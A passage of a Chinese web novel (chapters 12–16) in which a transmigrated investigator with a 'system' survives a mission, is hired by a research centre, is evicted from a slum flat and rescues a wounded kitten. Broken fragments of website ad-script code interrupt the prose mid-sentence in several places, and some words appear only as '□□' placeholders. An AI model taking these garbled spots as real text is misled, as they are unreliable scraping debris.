“如果我失败了呢?” 系统声音毫无起伏:【宿主将会自动进入下一次回溯,直到完成任务。】 时序吃惊,“假设我一直没完成任务,那就会一直回溯?” 系统沉默了一阵:【否,宿主最多可回溯二次,超出二次,会同世界一起灭亡。】 时序茅塞顿开:“所以说,这是个即将灭亡的世界?如果我不在1000个小时内完成任务,我和世界就会一起毁灭?” 说着时序用终端算:“也就是41天半?” 系统:【否,40天。】 “……”这还带四舍五入的?那也应该是42天吧。 40天,不但要搞清楚这个世界的真相,还要成为神避免世界毁灭,时序简直想笑,学驾照从科一考到科四,40天都不一定考的完,难道拯救世界比考驾照还简单? 12. 欢迎来到 离开前她回头,看最后一眼地上破了洞的防护服,酒店里的黏浊感消失了,连着终端的头盔开始各种闪烁,看样子通讯也恢复正常。 这代表着异化物迎来彻底的死亡。 塑料瓶里的小虫子还在,估计一开始就是个障眼法,而—— 时序低头看着在手心里静静躺着的粉红色晶体,这东西她不打算上交,里面有异化物的记忆,事关她的生死存亡,可这身装备都是研究中心给的,她不确定通讯中断期间,她的一切是否被记录下来。 “你能把它藏起来吗?”时序低声问,她还不习惯系统的存在,下意识的出声问道。 【请宿主掀开眼罩,将视线集中到“核”上。】 时序摘下头盔照做。 她用手指缓慢的勾开眼罩,久违的光照进她浑浊的右眼,引起了她的些许不适。 适应后她低眉将视线集中到粉色晶体上,下一刻,粉色晶体消失了,脑中的电子音提醒她收纳成功。 时序转动眼球,如果她把视线集中到卫生间里面…… 【请宿主停止危险行为,立即合上眼罩。】 刺耳警报声响起,时序脑袋针扎似的疼,她重新戴上眼罩和头盔,放弃心中的危险想法,转身向顶楼走去。 没了意识阈,从九楼的走廊可以看到酒店顶楼有个巨大的窟窿,一阵风吹来,隔着头盔时序都能闻到腥味。 “时序……!?你在里面吗?”头顶突然传来安燃的声音。 时序扶着扶手探出半边身体,应了一声,接着安燃从窟窿的边缘探出个头: “从那边直接就能上来,你快点!” 听罢时序加快脚步,果然像安燃说的,顺着楼梯走,没走多久便是天台的门,时序伸脚顶开只剩半拉挂着的门,眼前一片豁然开朗。 顶楼的风呼啸而过,时序站稳,这才看到窟窿的另一边相对完好的区域,有一架跟飞机有点像的小型飞行器,晏清和安燃站在离飞行器四五米开外,晏清正蹲着调试着什么。 时序小跑着过去,安燃一顿哭天抢地:“哎呦你可终于出来了,你在里面待了多久你知道吗?” “多久?”时序说着低头看终端。 安燃的公鸭嗓在旁边炸开:“我的祖宗啊!你在里面呆了30多个小时,你看看这蒙蒙亮的天!” 时序:“可我刚才在酒店里感觉天是很亮的啊。” “那是意识阈的影响,”晏清头也不抬,“意识阈解除后这里的异化粒子浓度仍然处于峰值状态,防护服虽然能隔绝异化粒子,但你在里面的时间太久了。” 说完她站起来,走向时序:“我是最早出来的,来到顶楼后我打开应急设备测试这里的粒子浓度,15小时前粒子浓度突然暴增,两小时后开始暴跌,时序你遇见异化物,还干掉它了?” 尽管最后一句是疑问句,但时序明白对方并没有真的在问她。 时序拿出透明塑料瓶:“这就是异化物,可惜范哥的身体被她夺走了,我只好开枪打了范哥。” 晏清看起来并不意外,她接过时序递过来的塑料瓶,转身从应急设备箱里拿出个正方体未知材料做的箱体,小心将塑料瓶放进去后封存,再放入她的背包中。 做完这一切她松口气,语气有了些许起伏:“时序你胆子真大,异化物的粒子浓度是很高的,你居然直接用塑料瓶装……” 安燃在一边打圆场:“说这么多干嘛,培训上可没讲要怎么收容异化物,再说也没给我们配发装备啊!时序能装回来就不错了!” 这话说的在理,时序跟着点头,说来说去还是研究中心的问题,她和安燃都是调查员,天然的有种身为同一战线的战友感。 晏清叹口气,指指飞行器:“行了,先上机,回中心再说。” 安燃脚步轻快的拉开门钻进去,剩晏清和时序面对面,两个人谁也没动,就这么盯着对方看,过了会,晏清扬起下巴,示意时序跟她走。 两人走到距离飞行器稍远的地方,时序远远看一眼飞行器,调侃道:“你就不怕安燃把飞行器开走?” 晏清毫不在意:“他开不走,飞行器需要我的权限才能启动。” 两人沿着巨大窟窿的边沿漫步,时序咂嘴,看向海平面缓缓升起的太阳,“你想说什么?” 晏清停下脚步,她解开位于脖颈的头盔锁,摘下头盔,对着时序似笑非笑:“你这么聪明,不需要我提醒。” 晏清长着一张毫无攻击性的圆脸,眼睛也是圆圆的,可她摆出的表情此刻并不是那么的友善。 时序没有吭声,等着晏清接下来的话。 “安燃大约在里面待了十小时,期间发生了什么监测中心无法检测到,跟你一样,在监测中心眼皮子底下,失联了。” “你不是研究中心的?”时序皱眉,她本以为晏清是执行科的人,原来竟然不是吗。 晏清不置可否:“我的身份不重要,回中心后,我将如实汇报你和安燃的可疑行为,作为你救了我一次的报酬,我先给你打个预防针:你们两个最好做好最坏的打算。” 时序听到只想笑,还有什么比40天极速拯救世界更坏的吗?监测中心又是个什么玩意?净是她没听过的。 “谢谢你的提醒,”时序往回走,“无论如何,先回中心再说,我现在只想好好睡一觉。” 对晏清和安燃来说可能只是短短两天,对她来说可不是,她有种过了好几年的虚脱感,晏清见她身形摇晃,从背包摸出一袋能量胶: “放到你防护服的特定位置,能量胶会自动注入身体,你在里面一直没有进食,需要立刻补充能量。” 时序接过能量胶,左摸右摸也没琢磨出应该放哪,晏清默默戴上头盔,劈手拿过能量胶,放到她手背的凹槽中。
'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 时序:…… 晏清戴头盔绝对是不想让她看到自己翻白眼不耐烦的模样。 时序感到手背一痛,能量胶缓缓流入体内,她的眩晕感好了不少,晏清见状扶着她加快脚步往回走,走进发现安燃正扒着窗口眼巴巴看着她俩: “你们俩干嘛去了?” 晏清一抖,时序接过话:“晏清她肚子疼来着。” 安燃缩回飞行器后排,“原来是这样,那我们快走吧,我快累死了。” 晏清和时序对视一眼,登上飞行器的前排,晏清负责驾驶,时序则在副驾驶位上时刻盯着。 轰鸣声响起,飞行器缓缓驶离破败的酒店,时序透过窗口注视着越来越小的海岛,经此一趟,她心中的疑问和违和感越来越多,想到回去还要面对中心的盘问,时序闭上眼,打算先休养一下,好应对接下来一波又一波的困难。 …… 十三区,异化研究中心顶层会议室。 一位身穿执行科制服的女性正坐在长桌正中间的位置,不久后又有几名男女鱼贯而入,身上穿的制服不尽相同。 “林科长,你来的真早啊。”一位长相尖酸的男性阴阳怪气道。 林科长舒展身体靠着椅背:“早到十分钟是靠谱社会人的表现,科长你还差点哈。” 男性冷哼一声,拉开椅子坐下。 等人到齐后,每个人面前出现一个见方的投影,上面写着【SoundOnly】。 【监测中心传来消息,存活3人死亡5人,异化物残骸已封存带回,可惜没捉到活物。】 林科长咂咂嘴:“居然还有3个人活着,那可是2级异化物,这批新人不得了啊!” 男性呛声:“可惜3个人里面,2个都有猫腻。” 林科长不理会男人,问道:“有视频记录吗?能放出来看看不?” 【了解。】 投影开始播放视频资料,林科长捏着下巴,视线长时间地停留在在厕所面盆前一动不动的时序身上。 “这段视频看不出什么异常啊?还有吗?”林蓦问。 【视频就到这里,经过分析,这段视频被篡改过,监测中心正想办法还原,林蓦,你有什么想法?】 林蓦靠着椅背沉思。 “这个什么时序肯定有猫腻!应该立刻将她解雇!永不录用!”林蓦还没发话,男人抢着说道。 话音刚落,林蓦唰的站起来,吓得男人一个哆嗦。 伸了个懒腰,林蓦又坐下。 “这还不简单,最近咱们中心机构改革,不是新分出来个调查二科嘛,什么刺头怪胎都在二科,把人放二科不就行了,既接触不到中心的核心机密,又能借此机会好好观察,两全其美啊!”林蓦挥手,指向会议室门口的黑色身影: “这不正好,二科的新任科长来了!” “林……斐!” 13. 学贷无涯苦作舟 三小时后,飞行器降落到十三区异化研究中心大楼顶层的停机坪上。 时序被晏清晃醒,她迷蒙地张望,发现飞行器已经停了。 “醒醒,时序,科长要见你。”晏清说道。 “还有你,安燃。”晏清的话,拦住了试图偷摸下机的人,安燃悻悻坐回去,“不是吧,我为什么也要去啊?” 晏清又晃了两下昏昏欲睡的时序,“时序,你清醒一点,科长她们要见你,决定你未来命运的时刻马上就要到了,你怎么一点都不激动不兴奋?” 急的口不择言。 时序躲开晏清伸过来的手,这双手简直有魔力,晃得她想吐。 “还没入职就被辞退,面对这个紧张刺激的结果,我应该兴奋吗?”时序身心疲惫,终端恢复通讯后一直响个不停,刚才被晏清摇醒她顺势看了眼—— 基本上全是提醒她还款日的信息。 她点进去看了看,发现原主读的这个博士学位,是贷款读的,学费加利息,意味着毕业后她要还十年的学贷。 时序无言,还不如让她一觉睡死过去算了。 她卸下头盔,露出毫无神采的脸,抱着头盔跟晏清穿过停机坪上了为她们准备的摆渡车,摆渡车有专门的货梯,一路载着她们仨来到最底层地下负一层的审讯室。 下车就坐牢,直接一步到位,真好。 时序病恹恹地走进审讯室,透明的大块玻璃,昏暗的灯光,略有些干燥沉闷的空气,时序恍惚地想:如果她的学贷还不完,是不是从这被放出去还要接着坐牢? 别说拯救世界了,她连自己的钱包都拯救不了,终端又开始震个不停,生怕她不还钱。 时序,生无可恋。 “哎呀,怎么一副要死不活的模样,她的终端一直响,连我这来我看看。”林蓦突然出现玻璃对面,隔着玻璃,时序听她说话嗡嗡的。 “啧啧,全是还款信息,把她简历拿来,我靠博士啊!还是生物学博士!没想到这年头还有人读生物学!牛啊!”林蓦一番感叹,丝毫没在意时序的感受。 “难怪来我们研究中心,生物学,根本找不到工作吧?也就研究中心稍微对口一点。”林蓦还在暴击。 时序咸鱼似的靠在椅子上,双眼无神盯着头顶的灯,贷款读博士也就算了,还读这么个天坑专业,况且这都过去130多年了,生化环材怎么还是坑中坑?世界上都出现怪物了,就不能对这几个专业的人好一点? “她怎么跟要死了似的?”林蓦问旁边的人。 旁边的下属表情复杂,一时也不知道该不该同情时序。 林蓦随手把简历递给旁边人,站起来敲玻璃:“喂,你高兴一点嘛,我是来告诉你们俩一个好消息的。” 好消息?研究中心要帮她还学贷? 还是她不用被解雇? 想到这里她总算有点精神,身体坐直一点,开口问:“什么好消息?” “不过,在此之前我想知道你是如何破解阈的?”林蓦收起脸上的调侃,一本正经地坐到审讯专用椅上问道。 时序了然,原来是想给她施加心理压力,让她说出实情。 也就是说,晏清说的没错,即使脱离通讯范围,这身装备也能监控到她,而系统也确实帮助她瞒天过海了。 她有系统,那安燃又是用什么办法逃脱监视的? “很简单,我用□□破解的。”时序压下疑问回答。 林蓦的表情耐人寻味,“可给你们装备的□□,应该对2级异化物没用才对。” 时序浅浅笑了下,笑意敷衍:“所以你不是生物学博士。” 林蓦:…… 如果她没理解错的话,这时序是在拐着弯骂她没文化吗? 她沉下脸,“那请你这位伟大的生物学博士给我这个文盲科普一下,你是怎么做到的?” 时序咳嗽一声,“这跟异化物的能力有关,她可以让身处立场范围内的所有生物神经系统紊乱,进而出现一定程度上的失调,像是失去时间、空间观念,严重的话还会出现真性幻觉。” 林蓦听完表情肃穆,而时序接下来的话让她更为冷凝: “但是这个能力的使用是基于异化物的认知来的,也就是说在她潜意识的认知里,□□是可以伤害到她的东西,基于这个认知,我破解了她的阈。” “不过大概率只能使用一次,当她知 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 道□□其实无法对她造成实质性的伤害后,这招就不管用了。” 时序说完顿了顿问,“可以告诉我好消息是什么了吗?” 林蓦透过玻璃观察着另一头的时序,对方头发凌乱,勉强能看出曾经编成了马尾辫,右眼戴着黑色眼罩,露出的左眼略微狭长,带着一丝疲惫与无奈。 时序性格冷静内敛,分析能力强,关键还穷的叮当响,把时序分到二科,说不定跟林斐很合得来,林蓦摸着下巴想。 一扫方才的冷凝沉郁,林蓦笑嘻嘻的:“好消息就是!恭喜你正式入职研究中心!下周一来研究中心调查二科报道,还有你,你叫什么来着?” 从进来后一直就没被注意到的人此刻终于找到存在感,“安燃。” “哦安燃,还有时序,你们俩下周一来二科报道,就这样,解散。”林蓦说的简单,人也走的爽快,留下二人面面相觑。 “那……现在可以回家了?”安燃试探着问道。 时序也拿不准,“应该是吧……” 晏清只把她们送到门口,没跟着进来,两人没法问。 时序:…… 难道这个研究中心,其实是个草台班子? …… 换下防护服,时序厚着脸皮蹭了研究中心的浴室,洗了个长达两小时的热水澡,顺便研究了下这个所谓的研究中心。 研究中心福利不错,月薪六位数还有人身保险,轮休制,每月8天休,加班5倍工资,还有专门配备的超豪华单间浴室,除了常规的淋浴头外,自带按摩加热功能的浴缸,时序躺在浴缸里享受着按摩,舒服的她差点睡过去。 可惜的是,六位数的月薪,扣掉大半还学贷后,基本只够她最低限度的生活。 员工宿舍申请也结束了,原主压根看起来压根没打算申请,难道原主其实很有钱,压根不愁吃穿住行? 从浴室出来,时序拿起浴室里未开封的新内衣裤穿上,又找到写着自己名字的更衣室,打开衣柜,里面挂着一件全是破洞的白色T恤、一条洗到发白变形的肥大牛仔裤,和一双开胶又被粘起来的破烂拖鞋。 时序闭上眼,希望快来个人告诉她,这不是真的。 14. 雪上加猫 她认命地穿上这一身满是贫穷气息的衣服,拿起同样变形的帆布托特包,里面装着原主的身份证件和□□,时序拿出来看了看,不理解为什么会有人把学历证随身携带。 随即她换了个思路:随身携带倒也没错,毕竟薄薄的一张纸价值十年贷款,是她身上最值钱的东西了。 看到衣柜里寒酸的衣服,她终于选择面对现实,打开终端查询原主的账户余额: 250。 时序冷酷的收起终端,这个余额真的不是故意来嘲笑她的? …… 更衣室位于研究中心三楼,她和安燃离开审讯室后都被要求进行体检,外加清除她们身上的异化粒子,期间全部由摆渡车带她们走,等长达五个小时的流程走完后,才分别将她们二人运到三楼专属于她们的浴室。 体检时时序心虚的不行,生怕右眼秘密暴露,然而当医生解开她右眼眼罩后,什么都没发生。 医生说她的右眼是病理性失明,建议她换成机械义眼,还说什么机械义眼特别好使,不用闭眼就能睡觉,还能360度无死角全天候监控。 时序婉言谢绝。 因为她的右眼压根没有失明,她用右眼连医生脑门上新冒出来的痤疮都看得一清二楚。 拎着托特包走出更衣室,时序终于有机会仔仔细细的看清楚研究中心大楼,大楼高约十几层,内部风格基本以白色为主,偶尔从走廊或一楼大厅走过的未来同事们穿着各式各样的深蓝色制服: 有穿类似于棒球服夹克样式的,也有穿一身西装的,短袖衬衫和短袖POLO衫的也有几个。 看来以后不用再额外花钱买衣服穿了,时序想,脚步轻快的下楼,走出异化研究中心。 晚上八点,天还未完全黑,街面上行人来来往往,时序跟着路牌一路走到地铁站,乍看上去跟她所生活的时代没什么不同,街面上还算干净,行人来来往往,不远处还有几栋崭新的高楼大厦,她可以完美的融入其中。 甚至还有种做梦般的错觉。 看来并不是所有地方都像她在飞行器上看到的那样荒凉。 她低头看看终端,根据终端显示的家的位置,她要坐接近两小时的地铁,跟着行人走入地铁站,在闸机口学前面的人把终端贴到闸机前,时序顺利通过并坐上了驶向【家】的地铁。 十三区的公共交通规划倒是跟她所知的不一样,大部分站点都在地面上,忍着时不时传来的尿骚味和若有似无的视线,时序通过座位对面的窗户得以看到十三区的全貌。 随着地铁逐渐驶离,她看到的基建设施越来越少,站点越发简陋,行驶约一小时后,开始有一点光源都没有的站点,车上的人员构成开始变化,时不时有街溜子似的男男女女上车。 隔壁车厢的一对男女索性直接在车里…… 时序微微闭眼,不去理会传来的辣耳朵的声音,她精神疲惫,却不敢放松警惕,体检时听医生的意思,这里的义体技术非常发达,遇到装有义体手臂或者义腿的人,她一个肉体凡胎不占优势。 原主为什么要学生物?从现实角度来讲,学机械才是个好选择。 时序想着有的没的,一边站起来准备下车。 这时,三四个鸡窝头的街溜子杂毛围了过来,眼中闪烁着不怀好意的光—— “小姐姐挺漂亮的哈,要不要一起去喝一杯?” 时序单手虚虚握着扶手:“不了,谢谢。” 她礼貌回绝。 几只杂毛毫不意外的变脸:“给脸不要脸?知道我们是谁吗就拒绝?” 时序还是淡淡的:“抱歉,我不太知道。” 地铁进入临进站前的隧道,地铁里的光明明灭灭,时序眼微眯,握着扶手的手伸进托特包中,准备拿出包里的短柄斧打算先下手为强的时候: 地铁驶进车站,几只杂毛的手不约而同的伸进上衣口袋—— 一道巨大的阴影从天而降似的,将连同时序在内的所有人通通遮住: “喂,你们下不下车,不下车的话,麻烦不要堵在门口。”一道中气十足的女性声音传来。 时序转头望去,饶是冷静如她也露出明显的惊讶表情。 在他们身后的人很明显能看出是位女性,她身高很高,时序目测差不多两米一到两米二之间,身材极为强壮,光是胳膊就比时序的大腿还要粗。 难怪会有这么一大团影子,这几只杂毛街溜子加起来估计都没这位女性重,时序不禁感叹。 女性穿着一件土黄色的无袖T恤,胸口处写着大大的【销金窟】三字,扎着跟她一样的单根麻花辫,辫子的发尾垂在肩膀一头,肩上背着保温箱,看样子是送外卖的。 “老老老老板??!”几只杂毛闪电般站成两排让出位置,各个脸上都是惊惧不已的表情,恨不得当场跪下把人送走。 老板扬起下巴:“你呢?你走不走?” 时序点点头,两步迈出地铁,身后那个被称为【老板】的女性跟着出来,咂咂嘴说:“哪里来的小女孩胆子这么大的,这个时间还敢独自坐地铁,你家住哪?我送你一段。” 老板态度自然,仿佛她们认识似的。 看着老板的体格,时序心里暗暗琢磨:练成这样得下多少功夫,是她这辈子都达不到的境界。 “不用,我自己能行。”时序拿出包里的斧头晃了晃,老板挑眉,两人一前一后上了扶梯,老板在前时序在后。 后背是一个人的弱点,尤其是在这种有上下之分的扶梯上,她不想随便的把弱点暴露给陌生人。 更何况在这个陌生的世界。 “哦……你是研究中心的啊,那就无所谓了,我赶着送外卖,先走咯,欢迎有空来我这边吃饭啊,拜拜~”老板侧身挥手,说完她三步并两步登上扶梯,转眼消失在扶梯上方。 时序则等扶梯慢慢升上去。 这一站是修在地下的,扶梯时不时发出咯吱咯吱声,等她上去,发现闸机口附近聚集了许多流浪汉,她强忍着不适感走到出站口,如果说站内的流浪汉让她感到不适的话,那外面则让她真心实意的心情复杂了。 这里跟城区中心完全两个模样:几乎没有高楼全是低矮最高不过三四层的【平房】,随处可见的霓虹灯牌,空气中传来的浑浊气味,有垃圾的腐臭味,还有些不可明说的怪异味道。 马路湿漉漉的,走到某个地方脚底还会感觉到异常的黏腻,路上的路灯坏了大半,时序根本不想去想自己踩到了什么。 路上到处都是垃圾,不明的身体组织,用过的安全套,还有丢在路边的情趣机器人,时序走了几十米,实在难以忍受胃里翻滚着的胃液,街上没有垃圾桶,她只好找了个稍微暗一点的地方吐了个稀里哗啦。 原主住在这种地方? 她怎么敢的? 时序捏着短柄斧走了一路,好在没再遇到人拦住她,她顺着终端导航走到一处荒凉的二层小楼,她走到楼下,二楼的门突然 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 打开,白色强光顿时驱散方圆几十米内的黑暗,时序抬头看,开门的是个中年妇人。 “欧呦,瞧瞧谁来了,这不是欠了我三个月房租的时序嘛!” 妇人一口沙哑烟嗓,嘴里叼着酒瓶瓶盖,口齿不清又阴阳怪气。 “……”时序不想说话,再说她没办法说,原主的终端里没任何关于房东的信息,她连人叫什么都不知道。 她打算上楼,她租住的房间就在房东旁边。 房东倒也没拦她,只是她开门的时候轻飘飘撂下句:“给你半小时,收拾东西滚蛋吧,这是亲口你答应过的,今晚八点,没有交房租的话主动离开。” 时序:…… “欠我的3个月房租一分钱都不能少,这周我去备案登记了,逾期的话滞纳金按天算,你可以慢慢还。”房东笑起来,露出只剩几颗的黑黄牙齿,她说着,摸出一瓶酒,和几片药,混合着吞了下去: “哈哈哈,爽死我了!” 时序视若无睹地开门,关门,动作一气呵成,将房东产生的噪音隔绝了大半,她站在房门口,然后又慢慢踱步一边观察着这间一目了然的房间。 原主租住的房间大概十平米左右,房间里只有一张破破烂烂的长沙发和一个复合柜,没有床,有张简单破旧的折叠桌。 没有卫生间,更别说厨房了,几乎看不出来有生活气息。 时序拉开衣柜,衣柜里挂了件跟她身上这身差不多破烂的一套黑色T恤和黑色裤子、一双人字拖和帆布鞋。 屋里散落着几张纸,时序捡起来看,上面跟鬼画符一样,压根看不懂。 消退的违和感再度扑面而来:她隐隐有种这里的一切都被刻意抹去的感觉。 外面有人开始踹门。 “时序你收拾好没?都过去几个半小时了?你他大爷的快点!”房东开始在门外语无伦次的骂人,明显喝多了。 时序无言,踢开脚上的烂拖鞋,换上衣柜里的黑色中帮帆布鞋,找出沙发旁边的手提箱,一股脑把眼前能看到的所有东西统统塞进去,气势汹汹地大力推门,砰的一声,大约撞到了紧挨着门的房东。 房东软啪啪地倒在二楼过道的栏杆上,半边身体垂下,时序本想装看不见走人,想了想还是把人拖到她刚搬出来的房间里。 她提着手提箱,在昏暗的路上急速往地铁站走去,快点的话她或许能赶上最后一班来往研究中心的地铁。 路上霓虹灯牌发出的蓝紫色光显得街上行人有种莫名诡异感,破旧的居民区民房和飘来的臭味儿令人不适,时序再次加快脚步几乎小跑,她现在就想离开这里。 跟她的想法相反,她的腿突然被什么吸引了似的,偏离正轨转而往破旧民房黑的伸手不见五指的巷子里拐过去。 她试探性地慢慢走,穿过五六米长的窄巷,来到巷子的另一端—— 经由萤火虫般的点点星光点缀,她得以看到巨大山巅的轮廓,只是这座巨大浩瀚的山海是由无数的垃圾堆积而成。 而每一点微小的灯光并不是萤火虫,而是一个个徘徊在垃圾山捡垃圾的人。 时序震惊的看着眼前的一幕,不敢想象如果她在白天看到,那又是一番什么样的景象。 这么想着,她感觉有什么东西轻轻地拽住她的裤脚,时序低下头,脚下有只猫咪正扒着她,不远处有个破烂纸盒。 猫咪身上湿漉漉的,它艰难地抬头,有气无力的叫了一声,正好跟低下头的时序四目相对。 15. 垃圾场 一人一猫对视着,时序站定不动,猫咪眨眨眼,又咪咪叫了几声。 试图引起时序的同情心。 时序眼神莫测,缓缓掏出藏着的短柄斧…… 猫猫身体微微颤抖。 她拿着斧头,心里想的却是扒着她裤脚的生物到底是不是猫。 “应该……不是吧,”观察了接近一分钟,脚下的猫喵喵叫个不停,嗓子都叫哑了,时序拖着猫猫扒着她的腿挪动到纸盒边,弯腰捏着小猫咪颈部的皮毛,把小猫咪放进纸盒里,单手屈臂半抱着纸盒。 异化物应该没办法变成这么可爱的小猫咪,时序转身离开垃圾场,猫咪像个团子似的窝在纸盒里,时不时发出咕噜声。 好歹赶上最后一班地铁,时序小跑着钻进车厢,车厢里开着夜灯,她坐到离门最近的地方,车上空荡荡的,除了对面躺着不知道是死是活的人。 随即她点开终端,终端里只有晏清和安燃的号码,还有范星火的…… 她在范星火三个字上停留好一阵,略有些出神:得尽快找个时间把异化物给她的晶体取出来,看要怎样才能读取记忆。 然后……她需要重新找个住处,中心宿舍申请时间早就结束,她暂时没办法再申请,虽然住在更衣室或浴室里也不错,但考虑到她还要拯救世界的任务,想想只能作罢。 眼下能联络的人只有晏清和安燃,时序视线在两个名字上轮流转,好像这个问题对她来说特别复杂。 联络晏清?晏清属于监测中心,时序暂时不清楚她为什么要伪装身份进入【新手任务】,况且这样突兀地联络对方,时序认为不太行,直觉告诉她最好不要让晏清把控她的动态,很危险。 那安燃呢?时序琢磨,其实她认为安燃也不简单,如何躲避监控暂且不提,安燃怎么从意识阈里出来也是个问题。 这个安燃,行为跟表现出来的蠢像可不一样。 时序再三思索,决定联络安燃。 原因很简单:她跟安燃都即将进入调查二科,共事机会很多,让安燃帮他,在合适的时机下她可以反向监视安燃。 如果安燃的目标不是她还好,是她的话,时序眼神闪烁:只要不妨碍她推进任务,倒也无所谓。 她发给安燃发了个讯息。 对方回复很快:【你想要找便宜房子?你现在在哪?我看看。】 时序想了想:【我打算今晚在研究中心凑合一晚。】 安燃:【这样吧,你坐的13号线,坐到终点站,我在站口等你,这边正好有个房子。】 时序回了个收到,呼出一口气,身边的小猫咪似乎睡着了,偶尔发出呼噜声,她看着蜷成一团的毛团,不自觉上手摸了一把。 对面玻璃她的身影隐隐若现,时序飞速撇过头,这会让她想起在意识阈里发生的事。 还有她经年未见的母亲。 时序甩甩头,现在不是想这些的时候,她应该想研究中心,应该想怎么完成任务,或是…… 她垂头看着睡着的猫咪,脑子里有不少【应该】做的事,可她现在只想放空,看小猫咪。 后面的站点地铁一站未停,径直开到了终点站,下车时时序对面躺着的人毫无反应,她没管直接迈出去,反正对方是个成年男性,应该不需要她的帮助。 时间接近凌晨两点,地铁里除了她再没别人,连流浪汉都看不到。 安燃靠在闸机出口边山,穿着兜帽卫衣和黑色休闲裤,时序从闸机口出来他便转头扯下兜帽夸张地挥手:“嘿!” 时序:“我不瞎。” 安燃悻悻收手,在前面带路:“啧,时序你够冷淡的。” 时序皮笑肉不笑:“谢谢你啊,这么晚还热心帮我找房子。” 安燃笑嘻嘻的,时序隐没在安燃身后,安燃回头:“其实这房子是我前几天刚搬出去的,你想啊,毕竟上岸了嘛,索性搬到离研究中心更近的地方。” 时序挑眉:“你怎么没申请宿舍?” 安燃夸张地叹气:“嗨呀你别说,我看到申请的时候,只剩4人间了,我可不想跟那帮执行科的拽哥拽姐们混住,宁可自己找房,反正等正式入职后,像咱们这种没住宿舍的会发补贴。” 时序点点头,有租房补贴,这点还算不错。 这里环境比时序租的房子好不少,路灯亮着,街面没有垃圾,每隔几百米就有分类垃圾桶,也没流浪汉和街溜子。 “不过你怎么会住那边去?那边到处都是帮派,还有吃药吃到倾家荡产的垃圾人,虽然十三区都挺乱的,但那边跟这边根本不是一个等级。”安燃接着说,语气带着探究。 时序单手抱着纸盒,安燃说完伸手想帮她提行李箱,她侧身躲过,“我自己来就好,那边房租便宜。” 安燃咂嘴 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' :“啧啧,有的时候便宜不能随便占,越便宜的东西可能越贵呢,我这间房房租交到月底,这还有半个月房东也不给退,你就先住着吧。” 时序笑笑:“便宜不能随便占,发工资还你。” 安燃点头,转而又问:“你还养猫啊?你这猫怎么身上都是血啊?难道你……!!” 时序打断他,“这是我捡的,一直扒着我不放。” 安燃停下脚步,指着街边上写着24小时营业的便利店,“哦我还以为是……,算了这正好有便利店,里面应该能买到止血药,不然这么小的猫,不好活。” “……”眼前的便利店门头那暧昧的紫红色灯牌,还有灯牌上的粉红爱心,要不是写着便利店三个字,她真觉得怎么看都不能是便利店吧?! “你确定?”时序持怀疑态度。 安燃不耐烦了,他走进感应门,掀开里面的帘子边走边说:“时序我真怀疑你是不是从墨丘利逃出来的。” 时序不再吭声,默默跟着安燃进店。 店里乍一看跟普通便利店差不多,只是大部分货架卖的都是五花八门的情趣用品,安燃找了几个货架,终于在最后一排的角落找到止血消炎喷雾,时序拿了两瓶,想想又拿了旁边的生骨肉罐头和一袋猫粮。 结账249块。 真好,还给她留了一块钱。 从店里出来,安燃带她拐进便利店旁边的小铁门,安燃这会也不说话了,安静地带她上楼。 …… “……所以你才迫不及待搬走?”时序大致想过环境可能不会太好,但亲眼见到还是大大出乎她的意料。 安燃租住的房子跟她先前住的差不多,都是二层楼,楼下就是她们刚才去过的便利店,只是房子的另一边…… 是个巨大的垃圾山,不但打开窗户就能欣赏到,二楼的整个长廊,除了安燃住的把头这间,其他房间被垃圾堵得门都打不开。 敢情修了这么一排房子,就是不让垃圾出来的面子工程? 时序眼神闪烁,抬脚狠狠踢了下安燃的屁股。 “哎哎哎姐姐别踢!别踢啊!”安燃捂住没被踢到的右半边臀部,嚎了一声:“虽然外面环境糟糕了一点点,但里面绝对让你感觉到温馨!” 时序忍不住爆粗口:“温馨个屁!打开窗户就是垃圾!” 这跟住垃圾堆里有什么区别! 16. 入职 除去过于糟糕的外部环境,房间内部跟外面比起来可真的算是不错了,安燃大致交待里面的布局后,刚想走,时序一把拽住他,面露狐疑: “你怎么这么着急?” 难道房子有问题? 刚还游刃有余的人看到时间后顿时变得不对劲起来,时序不明就里,抓着他不肯放手。 “姐姐你快放开我啊!有门禁,门禁!”安燃一着急,公鸭嗓都明显了不少。 时序一手抓着他,另一只手提着箱子搂着猫:“你先开门,跟我一块进去看看,不然别想走。” 安燃手都抖,颤巍巍地拿钥匙开门:“哎呦我的姐,我还能骗过你这位大博士?” 居然用的还是老式钥匙。 门开了,安燃顺着门缝溜进门,还是副焦虑的模样。 “怎么回事?你刚说自己租房住,哪来的门禁?”轻轻放下小猫咪,时序拎着箱子问。 安然挎着脸:“你先说你是不是从墨丘利来的。” “不是。”时序毫不犹豫的否认,虽然她压根不知道墨丘利是什么地方。 安燃还是持怀疑态度:“那你怎么什么都不知道?我说的门禁可不是租房子的门禁,这是个约定俗成的规定,凌晨三点之前必须回到自己家,不能出门。” 什么奇怪的规定,时序抬腕看终端:凌晨两点四十了。 “为什么?”时序问出来,反正对方肯定认为她是从什么墨丘利来的。 安燃咂嘴,他知道自己回不去了,索性破罐子破摔:“不知道,这规定在十三区一直流传着,从来没人违反它,就算偶有质疑的,有一个算一个都死翘翘了。” “哎,我要是因为你牺牲了,你可得记得每年给我烧上百八十亿的纸钱,让我做个富豪鬼。”安燃叹口气,倒是看得开。 这里每天都有因为异化或死去或失踪的人,死,实在算不上太过稀奇的事。 时序懒得理他那些奇奇怪怪的话,转而蹲下看小猫,猫咪看上去两个月大的样子,皮毛浸染鲜血看不出原本的颜色,腹部上有个狭长到几乎把猫咪贯穿两半的伤口,它呼吸微弱,躺在纸盒里一动不动。 安燃跟着凑过来:“我去哪个人这么变态,这么小的猫都……哎时序你先给它把血擦擦,别感染了。” 时序挤开安燃,用斧头笨拙小心的把伤口附近打结的毛处理掉,面积不大,她弄完却出了一身汗。 幸运的是小猫尽管被人砍了几刀,伤口都不是很深,肚子上的刀伤看着可怖,却避开了要害。 时序拿出刚买的医用绷带和止血喷雾一顿库库狂喷,生怕喷的不够多,然后才给小猫缠绷带。 